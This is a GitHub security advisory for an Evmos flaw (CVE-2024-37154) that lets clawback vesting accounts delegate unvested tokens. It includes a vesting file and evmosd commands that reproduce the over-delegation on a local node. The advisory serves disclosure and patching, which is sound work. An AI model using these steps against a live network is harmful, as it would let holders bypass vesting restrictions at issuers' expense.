Skip to content

Evmos allows unvested token delegations

Moderate severity GitHub Reviewed Published Jun 6, 2024 in evmos/evmos • Updated Oct 15, 2024

Package

gomod github.com/evmos/evmos/v10 (Go)

Affected versions

<= 10.0.1

Patched versions

None
gomod github.com/evmos/evmos/v11 (Go)
<= 11.0.2
None
gomod github.com/evmos/evmos/v12 (Go)
<= 12.1.6
None
gomod github.com/evmos/evmos/v13 (Go)
<= 13.0.2
None
gomod github.com/evmos/evmos/v14 (Go)
<= 14.1.0
None
gomod github.com/evmos/evmos/v15 (Go)
<= 15.0.0
None
gomod github.com/evmos/evmos/v16 (Go)
<= 16.0.4
None
gomod github.com/evmos/evmos/v17 (Go)
<= 17.0.1
None
gomod github.com/evmos/evmos/v18 (Go)
<= 18.1.0
None
gomod github.com/evmos/evmos/v6 (Go)
<= 6.0.4
None
gomod github.com/evmos/evmos/v7 (Go)
<= 7.0.0
None
gomod github.com/evmos/evmos/v8 (Go)
<= 8.2.3
None
gomod github.com/evmos/evmos/v9 (Go)
<= 9.1.0
None

Description

Impact

What kind of vulnerability is it? Who is impacted?

At the moment, users are able to delegate tokens that have not yet been vested. This affects employees and grantees who have funds managed via ClawbackVestingAccount.

Patches

Has the problem been patched? What versions should users upgrade to?

The PR linked to this advisory includes part of the fix. The remainder is in a second advisory on the Cosmos SDK fork.

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

There is no effective workaround to fix or remediate this issue without a new release. The best solution is to contain the information about this vulnerability to minimize the number of users who know about it and can thus exploit it.

References

Are there any links users can visit to find out more?

See the integration tests for more details on the exploit, or use the following to reproduce it on the CLI:

  1. Download vesting_setup.json with the following contents:
{
  "start_time": 1679602272,
  "periods": [
    {
      "coins": "100000000000000000000aevmos",
      "length_seconds": 10 
    },
    {
      "coins": "100000000000000000000aevmos",
      "length_seconds": 259200000
    }
  ]
}
  1. Run the following CLI commands to reproduce the issue locally:
evmosd tx vesting create-clawback-vesting-account evmos1rn7fmq6he0s4uz9mwzzqwwm7fmmepd39cusn0t --vesting vesting_setup.json --from dev0 --fees 2000000000000000aevmos --home ~/.tmp-evmosd --yes

# Verify that the balance contains zero locked tokens, 1000000000000000aevmos vested, 1000000000000000aevmos unvested
evmosd q vesting balances evmos1rn7fmq6he0s4uz9mwzzqwwm7fmmepd39cusn0t --home ~/.tmp-evmosd

evmosd keys add key1 --recover --home ~/.tmp-evmosd
# Enter the following mnemonic
skate tell option purity cattle poverty street act bone govern way various

evmosd q staking validators --home ~/.tmp-evmosd | grep operator_address

# Substitute the operator address from the previous query
# Note that this delegates 70% of the user's available stake
evmosd tx staking delegate <operator_address> 70000000000000000000aevmos --fees 5000000000000000aevmos --gas 300000 --from key1 --home ~/.tmp-evmosd --yes

# Re-run the same command
evmosd tx staking delegate <operator_address> 70000000000000000000aevmos --fees 5000000000000000aevmos --gas 300000 --from key1 --home ~/.tmp-evmosd --yes

# Note that the total delegations now exceed the user's vested balance
evmosd q staking delegations evmos1rn7fmq6he0s4uz9mwzzqwwm7fmmepd39cusn0t --home ~/.tmp-evmosd

References

@sandoche sandoche published to evmos/evmos Jun 6, 2024
Published to the GitHub Advisory Database Jun 6, 2024
Reviewed Jun 6, 2024
Published by the National Vulnerability Database Jun 6, 2024
Last updated Oct 15, 2024

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

EPSS score

0.046%
(19th percentile)

CVE ID

CVE-2024-37154

GHSA ID

GHSA-7hrh-v6wp-53vw

Source code

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.